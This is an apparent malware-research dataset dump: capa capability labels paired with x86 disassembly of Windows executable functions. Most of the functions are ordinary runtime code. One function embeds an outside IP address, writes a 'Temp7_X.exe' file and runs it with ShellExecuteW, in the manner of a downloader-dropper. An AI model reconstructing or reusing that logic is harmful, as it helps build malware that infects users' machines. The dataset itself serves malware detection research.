joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4094a9
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x419995
call fcn.0040d0a3
push 0x5c
push dword [ebp + 8]
call fcn.0040f880
test eax, eax
pop ecx
pop ecx
jne 0x409621
cmp byte [0x4219e0], al
mov esi, 0x4219e0
mov ebx, 0x4215e0
jne 0x409543
mov edi, 0x400
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push esi
call fcn.0040f880
test eax, eax
pop ecx
pop ecx
je 0x4094fb
mov byte [eax + 1], 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jbe 0x40951d
lea ecx, [eax + 0x4215e0]
cmp byte [ecx - 1], 0x5c
je 0x40951d
mov byte [ecx], 0x5c
mov byte [eax + 0x4215e1], 0
push edi
push 0x4211e0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jbe 0x409543
lea ecx, [eax + 0x4211e0]
cmp byte [ecx - 1], 0x5c
je 0x409543
mov byte [ecx], 0x5c
mov byte [eax + 0x4211e1], 0
push esi
lea ecx, [ebp - 0x18]
call fcn.00409463
push dword [ebp + 8]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004092b5
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x14]
mov edi, eax
test edi, edi
sete byte [ebp - 0xd]
add ecx, 0xfffffff0
call fcn.00401bb2
mov ecx, dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401bb2
cmp byte [ebp - 0xd], 0
je 0x40962c
push ebx
lea ecx, [ebp - 0x14]
call fcn.00409463
push dword [ebp + 8]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004092b5
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x18]
mov edi, eax
test edi, edi
sete bl
add ecx, 0xfffffff0
call fcn.00401bb2
mov ecx, dword [ebp - 0x14]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401bb2
test bl, bl
je 0x40962c
push 0x4211e0
lea ecx, [ebp - 0x20]
call fcn.00409463
push dword [ebp + 8]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004092b5
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov edi, eax
call fcn.00401bb2
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401bb2
jmp 0x40962c
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, edi
call fcn.0040d17b
ret
Function at 0x40b790
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x419995
call fcn.0040d0a3
push 0x5c
push dword [ebp + 8]
call fcn.0040f880
test eax, eax
pop ecx
pop ecx
jne 0x40b908
cmp byte [0x4225e8], al
mov esi, 0x4225e8
mov ebx, 0x4221e8
jne 0x40b82a
mov edi, 0x400
push edi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x5c
push esi
call fcn.0040f880
test eax, eax
pop ecx
pop ecx
je 0x40b7e2
mov byte [eax + 1], 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jbe 0x40b804
lea ecx, [eax + 0x4221e8]
cmp byte [ecx - 1], 0x5c
je 0x40b804
mov byte [ecx], 0x5c
mov byte [eax + 0x4221e9], 0
push edi
push 0x421de8
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jbe 0x40b82a
lea ecx, [eax + 0x421de8]
cmp byte [ecx - 1], 0x5c
je 0x40b82a
mov byte [ecx], 0x5c
mov byte [eax + 0x421de9], 0
push esi
lea ecx, [ebp - 0x18]
call fcn.00409463
push dword [ebp + 8]
and dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.004092b5
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x14]
mov edi, eax
test edi, edi
sete byte [ebp - 0xd]
add ecx, 0xfffffff0
call fcn.00401bb2
mov ecx, dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401bb2
cmp byte [ebp - 0xd], 0
je 0x40b913
push ebx
lea ecx, [ebp - 0x14]
call fcn.00409463
push dword [ebp + 8]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004092b5
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x18]
mov edi, eax
test edi, edi
sete bl
add ecx, 0xfffffff0
call fcn.00401bb2
mov ecx, dword [ebp - 0x14]
or dword [ebp - 4], 0xffffffff
add ecx, 0xfffffff0
call fcn.00401bb2
test bl, bl
je 0x40b913
push 0x421de8
lea ecx, [ebp - 0x20]
call fcn.00409463
push dword [ebp + 8]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.004092b5
add esp, 0xc
push dword [eax]
call esi
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
mov edi, eax
call fcn.00401bb2
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401bb2
jmp 0x40b913
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
mov eax, edi
call fcn.0040d17b
ret
Function at 0x40bdf1
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x420180]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040bd30
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040c750
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40be40
cmp dword [ebp - 0x1c], 5
jb 0x40be58
jmp 0x40be54
cmp dword [ebp - 0x10], 1
jne 0x40be58
cmp dword [ebp - 0x1c], 4
ja 0x40be54
jne 0x40be58
cmp dword [ebp - 0x18], 0
jbe 0x40be58
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x41b314
call fcn.00401277
test eax, eax
jge 0x40be79
mov byte [0x421188], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040c9c6
add ebp, 0x78
leave
ret

Function at 0x40c9c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420180]
jne 0x40c9d0
repz ret
jmp fcn.004123ab
Function at 0x411d0f
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x420a68]
je 0x411d2a
inc edi
cmp edi, 0x17
jb 0x411d1b
cmp edi, 0x17
jae 0x411eaa
push ebp
push 3
call fcn.00416afb
cmp eax, 1
pop ecx
je 0x411e76
push 3
call fcn.00416afb
test eax, eax
pop ecx
jne 0x411d5e
cmp dword [0x4201a0], 1
je 0x411e76
cmp ebx, 0xfc
je 0x411ea9
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x422cb8
push ebp
call fcn.00412815
add esp, 0xc
test eax, eax
je 0x411d94
push esi
push esi
push esi
push esi
push esi
call fcn.0040c4bf
add esp, 0x14
push 0x104
mov esi, 0x422cd1
push esi
push 0
mov byte [0x422dd5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x411dd8
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00412815
add esp, 0xc
test eax, eax
je 0x411dd8
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.0040c4bf
add esp, 0x14
push esi
call fcn.0040ca60
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x411e1d
push esi
call fcn.0040ca60
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x422fcc
push 0x41ba84
sub ecx, eax
push ecx
push eax
call fcn.00416696
add esp, 0x14
test eax, eax
je 0x411e1d
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.0040c4bf
add esp, 0x14
jmp 0x411e1f
xor esi, esi
push 0x41ba80
push ebx
push ebp
call fcn.004165d1
add esp, 0xc
test eax, eax
je 0x411e3f
push esi
push esi
push esi
push esi
push esi
call fcn.0040c4bf
add esp, 0x14
push dword [edi*8 + 0x420a6c]
push ebx
push ebp
call fcn.004165d1
add esp, 0xc
test eax, eax
je 0x411e61
push esi
push esi
push esi
push esi
push esi
call fcn.0040c4bf
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.0041693e
add esp, 0xc
jmp 0x411ea9
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x411ea9
cmp ebp, 0xffffffff
je 0x411ea9
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x420a6c]
push dword [esi]
call fcn.0040ca60
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x41693e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00410629
xor ebx, ebx
cmp dword [0x423558], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x416a14
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x416af4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x416af4
push eax
call fcn.004105bb
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423558], eax
call esi
push eax
call fcn.004105bb
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42355c], eax
call esi
push eax
call fcn.004105bb
mov dword [0x423560], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040f4c7
test eax, eax
pop ecx
pop ecx
je 0x4169e2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040c4bf
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x416a14
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004105bb
cmp eax, ebx
pop ecx
mov dword [0x423568], eax
je 0x416a14
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004105bb
pop ecx
mov dword [0x423564], eax
mov eax, dword [0x423564]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x416a99
cmp dword [0x423568], ecx
je 0x416a99
push eax
call fcn.00410632
push dword [0x423568]
mov esi, eax
call fcn.00410632
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x416a99
cmp edi, ebx
je 0x416a99
call esi
cmp eax, ebx
je 0x416a66
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x416a66
test byte [ebp - 0x18], 1
jne 0x416a99
lea eax, [ebp - 0x10]
push eax
call fcn.0040f4fe
test eax, eax
pop ecx
je 0x416a81
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040c4bf
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x416a90
or dword [ebp + 0x10], 0x200000
jmp 0x416ad4
or dword [ebp + 0x10], 0x40000
jmp 0x416ad4
mov eax, dword [0x42355c]
cmp eax, dword [ebp - 8]
je 0x416ad4
push eax
call fcn.00410632
cmp eax, ebx
pop ecx
je 0x416ad4
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x416ad4
mov eax, dword [0x423560]
cmp eax, dword [ebp - 8]
je 0x416ad4
push eax
call fcn.00410632
cmp eax, ebx
pop ecx
je 0x416ad4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423558]
call fcn.00410632
cmp eax, ebx
pop ecx
je 0x416af4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x416af6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4028c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xa1844
call fcn.0040fa60
mov eax, dword [0x424004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0xa1820], 0
push eax
push eax
push eax
mov word [ebp - 0xa180c], ax
lea eax, [ebp - 0xa181c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0xa1820]
mov dword [ebp - 0xa181c], 0x10001
push eax
mov dword [ebp - 0xa1818], 0x5622
mov dword [ebp - 0xa1814], 0x5622
mov dword [ebp - 0xa1810], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0xa17fc
lea eax, [ebp - 0xa1808]
push 0
push eax
call fcn.00404780
add esp, 0xc
xor ebx, ebx
mov eax, 0x5e1d27b
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 9
movsx eax, al
imul ecx, eax, 0x17
mov al, bl
add al, al
add cl, al
mov eax, 0x20b3dd41
mul ebx
shr edx, 7
movsx eax, dl
imul eax, eax, 0x16
add al, bl
xor cl, al
xor cl, bl
mov byte [ebp + ebx - 0xa1808], cl
inc ebx
cmp ebx, 0xa17fc
jb 0x402944
lea eax, [ebp - 0xa1808]
mov dword [ebp - 0xa183c], 0xa17fc
mov dword [ebp - 0xa1840], eax
lea eax, [ebp - 0xa1840]
push 0x20
push eax
push dword [ebp - 0xa1820]
mov dword [ebp - 0xa1838], 0
mov dword [ebp - 0xa1834], 0
mov dword [ebp - 0xa1830], 0
mov dword [ebp - 0xa182c], 0
mov dword [ebp - 0xa1828], 0
mov dword [ebp - 0xa1824], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0xa1840]
push eax
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0xa1820]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403993
mov esp, ebp
pop ebp
ret
Function at 0x402bb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c4
call fcn.0040fa60
mov eax, dword [0x424004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call fcn.00404780
add esp, 0xc
xor esi, esi
mov eax, esi
shr eax, 0xc
xor eax, esi
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x420000]
call fcn.00410f80
call fcn.00411140
mulsd xmm0, qword [0x41ff80]
cvttsd2si eax, xmm0
mov byte [ebp + esi - 0x3a988], al
inc esi
cmp esi, 0x3a980
jb 0x402c34
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00403993
mov esp, ebp
pop ebp
ret
Function at 0x4031b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50c44
call fcn.0040fa60
mov eax, dword [0x424004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x50c20], 0
push eax
push eax
push eax
mov word [ebp - 0x50c0c], ax
lea eax, [ebp - 0x50c1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50c20]
mov dword [ebp - 0x50c1c], 0x10001
push eax
mov dword [ebp - 0x50c18], 0x2b11
mov dword [ebp - 0x50c14], 0x2b11
mov dword [ebp - 0x50c10], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x50bfe
lea eax, [ebp - 0x50c08]
push 0
push eax
call fcn.00404780
add esp, 0xc
xor eax, eax
mov cl, al
mov ebx, eax
add cl, cl
shr ebx, 8
lea edx, [ecx + eax]
xor bl, dl
add bl, al
mov byte [ebp + eax - 0x50c08], bl
inc eax
cmp eax, 0x50bfe
jb 0x403234
lea eax, [ebp - 0x50c08]
mov dword [ebp - 0x50c3c], 0x50bfe
mov dword [ebp - 0x50c40], eax
lea eax, [ebp - 0x50c40]
push 0x20
push eax
push dword [ebp - 0x50c20]
mov dword [ebp - 0x50c38], 0
mov dword [ebp - 0x50c34], 0
mov dword [ebp - 0x50c30], 0
mov dword [ebp - 0x50c2c], 0
mov dword [ebp - 0x50c28], 0
mov dword [ebp - 0x50c24], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00403993
mov esp, ebp
pop ebp
ret
Function at 0x403300
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50c40
call fcn.0040fa60
mov eax, dword [0x424004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x50c20], 0
push eax
push eax
push eax
mov word [ebp - 0x50c0c], ax
lea eax, [ebp - 0x50c1c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x50c20]
mov dword [ebp - 0x50c1c], 0x10001
push eax
mov dword [ebp - 0x50c18], 0x2b11
mov dword [ebp - 0x50c14], 0x2b11
mov dword [ebp - 0x50c10], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x50bfe
lea eax, [ebp - 0x50c08]
push 0
push eax
call fcn.00404780
add esp, 0xc
xor edx, edx
mov ecx, edx
mov eax, edx
shr eax, 4
shr ecx, 7
and cl, al
mov eax, edx
shr eax, 8
or cl, al
mov al, dl
xor al, 0x40
movsx ecx, cl
movsx eax, al
imul ecx, eax
add cl, dl
mov byte [ebp + edx - 0x50c08], cl
inc edx
cmp edx, 0x50bfe
jb 0x403383
lea eax, [ebp - 0x50c08]
mov dword [ebp - 0x50c3c], 0x50bfe
mov dword [ebp - 0x50c40], eax
lea eax, [ebp - 0x50c40]
push 0x20
push eax
push dword [ebp - 0x50c20]
mov dword [ebp - 0x50c38], 0
mov dword [ebp - 0x50c34], 0
mov dword [ebp - 0x50c30], 0
mov dword [ebp - 0x50c2c], 0
mov dword [ebp - 0x50c28], 0
mov dword [ebp - 0x50c24], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x50c40]
push eax
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x50c20]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403993
mov esp, ebp
pop ebp
ret
Function at 0x40925e
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00408f1e
Function at 0x40108e
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x433c24]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x438130
push 0x67
push edi
call esi
push 0x64
push 0x438068
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00401222
mov eax, dword [ebp + 0x10]
mov edx, 0x438c38
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4010dd
call fcn.00403469
push 0x7d0
mov dword [0x434f90], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401502
test eax, eax
je 0x401116
call fcn.00402d31
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.00401e5f
pop ecx
test eax, eax
jne 0x401138
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00413a49
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor eax, eax
push 0x206
push eax
mov word [esp + 0x18], ax
lea eax, [esp + 0x1a]
push eax
call fcn.004160a0
mov ecx, dword [0x438880]
add esp, 0xc
test ecx, ecx
jbe 0x401185
cmp word [0x438884], 0
jbe 0x401185
mov esi, str.218.54.31.226
call fcn.00403405
mov ax, word [0x438884]
mov word [0x4354e8], ax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov esi, ecx
div esi
xor edx, edx
mov ebx, 0x438e40
div ecx
push edx
push str.Temp7_X.exe
push ebx
call fcn.00402d16
add esp, 0xc
call fcn.004026f9
lea edi, [esp + 0x10]
call fcn.00405816
push 0x42c7e0
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00413c41
add esp, 0xc
push ebx
mov eax, edi
push esi
push eax
call fcn.00413c41
add esp, 0xc
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40120d
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
xor eax, eax
push eax
push 0x42ca0c
mov ecx, edi
push ecx
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004024a3
jmp 0x40110e
Function at 0x401452
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
push 0x42c7fc
push dword [ebp + 8]
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.00413e54
add esp, 0xc
test eax, eax
je 0x40147c
xor eax, eax
jmp 0x4014ff
push ebx
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00413f31
push dword [ebp - 4]
call fcn.00414153
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00413f31
lea eax, [esi + 0x32]
push eax
mov dword [ebp - 8], eax
call fcn.00413aa7
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00414461
push dword [ebp - 4]
call fcn.004144f5
push 0x32
lea ebx, [edi + esi]
call fcn.004036b9
push 0x42c804
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.00413e54
add esp, 0x44
pop esi
pop ebx
test eax, eax
jne 0x401475
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.004146d3
push dword [ebp - 4]
call fcn.004144f5
xor eax, eax
add esp, 0x14
inc eax
pop edi
leave
ret
Function at 0x4022d5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4022fe
push dword [ebp + 8]
call fcn.00403505
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x4022fe
inc ebx
jmp 0x40236e
mov edi, 0x200000
push edi
call fcn.00413aa7
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.00406116
add esp, 0xc
test eax, eax
je 0x402367
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00414755
pop ecx
push 0x32
mov eax, 0xc8
call fcn.00402eaa
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.004036b9
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.00406061
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00413b71
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x4027bd
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x433c24]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 0x430], eax
push eax
call fcn.00405870
pop ecx
pop ecx
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x40293f
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x220], ax
lea eax, [ebp - 0x21e]
push eax
call fcn.004160a0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x428], ax
lea eax, [ebp - 0x426]
push eax
call fcn.004160a0
add esp, 0xc
lea edi, [ebp - 0x220]
call fcn.00405816
push 0x42c7e0
mov esi, 0x104
mov eax, edi
push esi
push eax
call fcn.00413c41
mov byte [ebp - 0x18], 0
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ebx, 0x438208
jmp 0x402869
mov esi, 0x104
cmp word [ebx], 0
je 0x4028c0
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00413cbe
add esp, 0xc
push ebx
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00413c41
lea eax, [ebp - 0x428]
add esp, 0xc
push eax
lea ecx, [ebp - 0x18]
call fcn.00404f8f
pop ecx
test eax, eax
je 0x4028c0
push 5
pop ecx
lea edi, [ebx + 0x104]
lea esi, [ebp - 0x18]
xor eax, eax
repe cmpsd dword [esi], dword es:[edi]
jne 0x4028c0
mov word [ebx], ax
add ebx, 0x118
cmp ebx, 0x438780
jl 0x402864
mov esi, 0x438208
cmp word [esi], 0
je 0x4028f6
push dword [ebp + 0xc]
mov eax, dword [esi + 0x100]
push dword [ebp - 0x430]
mov ecx, esi
mov dword [0x4381fc], eax
call fcn.00405a95
pop ecx
pop ecx
add esi, 0x118
cmp esi, 0x438780
jl 0x4028d3
push 0x438e40
lea eax, [ebp - 0x220]
push 0x104
push eax
call fcn.00413c41
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x402939
mov dword [ebp - 0x42c], 2
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00413a49
leave
ret